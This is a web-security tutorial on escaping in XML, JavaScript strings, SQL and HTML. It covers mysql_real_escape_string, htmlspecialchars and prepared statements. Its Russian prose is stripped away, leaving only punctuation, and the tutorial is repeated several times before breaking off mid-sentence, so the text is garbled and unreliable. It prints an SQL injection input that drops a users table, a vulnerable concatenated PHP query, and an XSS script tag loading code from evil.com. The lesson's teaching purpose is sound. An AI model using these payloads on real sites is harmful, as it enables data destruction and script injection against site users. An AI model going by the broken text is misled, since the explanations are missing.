$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i . , - . <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x < n and y > n, x cannot be larger than y. </contents> </article> , . "<" "<", ">" - ">". - , , , . escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...] , , , , . , , : " , ?" . , (&) - . , "<", "<"? XML, escape- &, - " & ", .. : " &< " XML - "" . , : var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; - " " . : var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; ! ! , , , -? var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; ... , . , . . - , " ", . : var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; "\" . , -, , "\" - . , , : "\\". , ? ! , . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML . - SQL . SQL - , : SELECT phone_number FROM users WHERE name = 'Alex' , . , SQL . , : $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); , . "", , , , . , - . , , -, . , : $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , : - -! , - ! ! , - , ! ! , . $_POST['name'] - , -. SQL-, , . SQL "" . , ? , - : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' , , ? 2, , "" - '. ! 4 - . ? ... , ... , . , - : Joe, users ( '), . . , , , , , 10 . SQL-, . , , , , , .. , - "" . ! : XSS . , HTML. , , , -, . , , .. - - : <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> , , : <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> , , , , : <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> ... . , , , ? <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , ? - javascript ? , , , . . , - , , ! , "" , , . ? ? , ? , , ""? , ! , . - : $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); , "" . SQL-, : Alex SELECT phone_number FROM users WHERE name = 'Alex' Mc'Donalds SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' Joe'; DROP TABLE users; -- SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' mysql_real_escape_string , - . , : <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> htmlspecialchars , , . : <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> , , , "". HTML . ... , : , , . SQL, SQL. HTML, HTML. ( ), ( ). . , , , : Validation , . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization "" , . , - HTML-, . , . Prepared SQL statements , , : SQL- , . : $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); , . , . , . (), , . ( ) . "" - , . , , , SQL- ( HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div>
, , , "". HTML .

...
, : , , . SQL, SQL. HTML, HTML. ( ), ( ). .


, , , :
Validation
, . , , . , "DROP TABLE users" , , , "42". , HTML/SQL-, .. , "". . Sanitization
"" , . , - HTML-, . , .
Prepared SQL statements
, , : SQL- , . :
$stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']);
, . , .


, . (), , . ( ) . "" - , . , , , SQL- ( HTML).

 ?   ,    -  ?  XML -  .   .  .       ,  -      ,         i    . 
    ,    - . 
 <?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article> 
 ,     . "&lt;"  "<",  "&gt;" - ">". 
    -  ,    ,   ,      . 
 escape |iˈskāp| [ no obj. ]    [ with obj. ]   /   [...] [ with obj. ] IT:    - [...] 
           ,    , ,   ,          . ,  ,    : "    ,        ?" . 
       ,  (&) -    .   ,     "&lt;",      "<"?  XML, escape-  &,  - " &amp; ", ..   : " &amp;&lt; " 
 
   
 XML -    ""   .   ,       : 
 var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian"; 
   -      " "  .            : 
 var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y."; 
 !       ! , ,  ,     -? 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet"."; 
 ... , .  ,            .        .    -  ,       "  ",    .      : 
 var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\"."; 
 "\"      .  , -, ,  "\" -  .       ,       , : "\\". ,   ? 
 
 ! 
      ,        .  ,     .  ,        ,     "".  ,    ,   . ,   , ,  ,        HTML,     , ,  ,     HTML,  ,  ,  "" HTML    . 
 
         - SQL . SQL - ,       : 
 SELECT phone_number FROM users WHERE name = 'Alex' 
        ,    .   ,      SQL   .              , : 
 $query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query); 
               ,   .  "", ,    ,      ,  . ,       - . 
 
  ,    ,    -,      .   ,     : 
 $name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
  ,      :  - -!  ,   -  !   !  ,     - ,     !      ! 
 
    ,   . $_POST['name'] - ,             -.    SQL-,       ,       .   SQL ""    . 
 
       , ?      ,       -      : 
 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --' 
     ,    , ?  2, , ""    -  '.  !  4 - .    ?     ... 
    ,  ...         ,     . ,    -   :      Joe,     users (   '),     . 
 
       .   , , ,     ,      ,   10    .     SQL-,    .  ,   ,   ,       ,    ,       ..   ,    - ""  . 
 
 ! 
  : XSS .   ,    HTML. 
 ,     ,    ,         -,   .  ,    ,    .. -     - : 
 <div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div> 
       ,       ,       : 
 <div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div> 
    ,  , ,    ,    : 
 <div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div> 
 ...     . ,        ,     , ? 
 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div> 
 , ,   ? -   javascript    ? ,        ,         ,      .     . 
 
     
   ,   -      ,    ,      !  ,   ""           ,  ,     .   ? 
 
 ?  , ? ,  , ""?    ,  ! 
            ,   .        - : 
 $name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query); 
    ,       ""   .       SQL-,     : 
 Alex 
 SELECT phone_number FROM users WHERE name = 'Alex' 
 Mc'Donalds 
 SELECT phone_number FROM users WHERE name = 'Mc\'Donalds' 
 Joe'; DROP TABLE users; -- 
 SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --' 
 mysql_real_escape_string       ,     -  . 
 
 ,     : 
 <div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div> 
    htmlspecialchars    , ,   .     : 
 <div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> &lt;script src=&quot;http://evil.com/dangerous.js&quot; type=&quot;text/javascript&quot; charset=&quot;utf-8&quot;&gt;&lt;/script&gt; </p> </div> 
  ,  ,   ,     "".      HTML        . 
 
    ... 
    ,    :       ,  ,       .     SQL,       SQL.     HTML,       HTML.     ( ),       ( ).   . 
 
    
 , ,      ,        : 
 Validation 
   ,       .     ,     ,         .     ,      "DROP TABLE users" , , ,   "42".    ,   HTML/SQL-, ..      ,    "".        . Sanitization 
     ""   ,   . ,   -   HTML-,      .   ,        . 
 Prepared SQL statements 
   ,  ,    :       SQL-  ,  .      : 
 $stmt = $pdo->prepare('SELECT phone_number FROM users WHERE name = ?'); $stmt->execute($_POST['name']); 
       ,     .       ,     . 
 
 
   ,        .       (),   ,     .    (  )   .     ""  - ,     . ,  ,      ,     SQL- (    HTML).

? , - ? XML - . . . , - , i .
, - .
<?xml version="1.0" encoding="UTF-8" ?> <article> <author>Homo Sapiens</author> <contents> Basic math tells us that if x &lt; n and y &gt; n, x cannot be larger than y. </contents> </article>
, . "&lt;" "<", "&gt;" - ">".
- , , , .
escape |iˈskāp| [ no obj. ] [ with obj. ] / [...] [ with obj. ] IT: - [...]
, , , , . , , : " , ?" .
, (&) - . , "&lt;", "<"? XML, escape- &, - " &amp; ", .. : " &amp;&lt; "


XML - "" . , :
var name = "Homo Sapiens"; var contents = "Suppose, there is the English text, which I don't wanna translate into Russian";
- " " . :
var name = "Homo Sapiens"; var contents = "Basic math tells us that if x < n and y > n, x cannot be larger than y.";
! ! , , , -?
var name = "Homo Sapiens"; var contents = "Plato is said to once have said "Lorem ipsum dolor sit amet".";
... , . , . . - , " ", . :
var name = "Homo Sapiens"; var contents = "Plato is said to once have said \"Lorem ipsum dolor sit amet\".";
"\" . , -, , "\" - . , , : "\\". , ?

!
, . , . , , "". , , . , , , , HTML, , , , HTML, , , "" HTML .

- SQL . SQL - , :
SELECT phone_number FROM users WHERE name = 'Alex'
, . , SQL . , :
$query = "SELECT phone_number FROM users WHERE name = 'Alex'"; $result = mysql_query($query);
, . "", , , , . , - .

, , -, . , :
$name = $_POST['name']; $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, : - -! , - ! ! , - , ! !

, . $_POST['name'] - , -. SQL-, , . SQL "" .

, ? , - :

Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe'; DROP TABLE users; --'
, , ? 2, , "" - '. ! 4 - . ? ...
, ... , . , - : Joe, users ( '), .

. , , , , , 10 . SQL-, . , , , , , .. , - "" .

!
: XSS . , HTML.
, , , -, . , , .. - - :
<div class="post"> <p class="meta"> Posted by <?php echo $post['username']; ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo $post['body']; ?> </p> </div>
, , :
<div class="post"> <p class="meta"> Posted by Plato on January 2, 15:31 </p> <p class="body"> I am said to have said "Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat." </p> </div>
, , , , :
<div class="post"> <p class="meta"> Posted by Pascal on November 23, 04:12 </p> <p class="body"> Basic math tells us that if x < n and y > n, x cannot be larger than y. </p> </div>
... . , , , ?

<div class="post"> <p class="meta"> Posted by JackTR on July 18, 12:56 </p> <p class="body"> <script src="http://evil.com/dangerous.js" type="text/javascript" charset="utf-8"></script> </p> </div>
, , ? - javascript ? , , , . .


, - , , ! , "" , , . ?

? , ? , , ""? , !
, . - :
$name = $_POST['name']; $name = mysql_real_escape_string($name); $query = "SELECT phone_number FROM users WHERE name = '$name'"; $result = mysql_query($query);
, "" . SQL-, :
Alex
SELECT phone_number FROM users WHERE name = 'Alex'
Mc'Donalds
SELECT phone_number FROM users WHERE name = 'Mc\'Donalds'
Joe'; DROP TABLE users; --
SELECT phone_number FROM users WHERE name = 'Joe\'; DROP TABLE users; --'
mysql_real_escape_string , - .

, :
<div class="post"> <p class="meta"> Posted by <?php echo htmlspecialchars($post['username']); ?> on <?php echo date('F j, H:i', $post['date']); ?> </p> <p class="body"> <?php echo htmlspecialchars($post['body']); ?> </p> </div>
htmlspecialchars , , . :
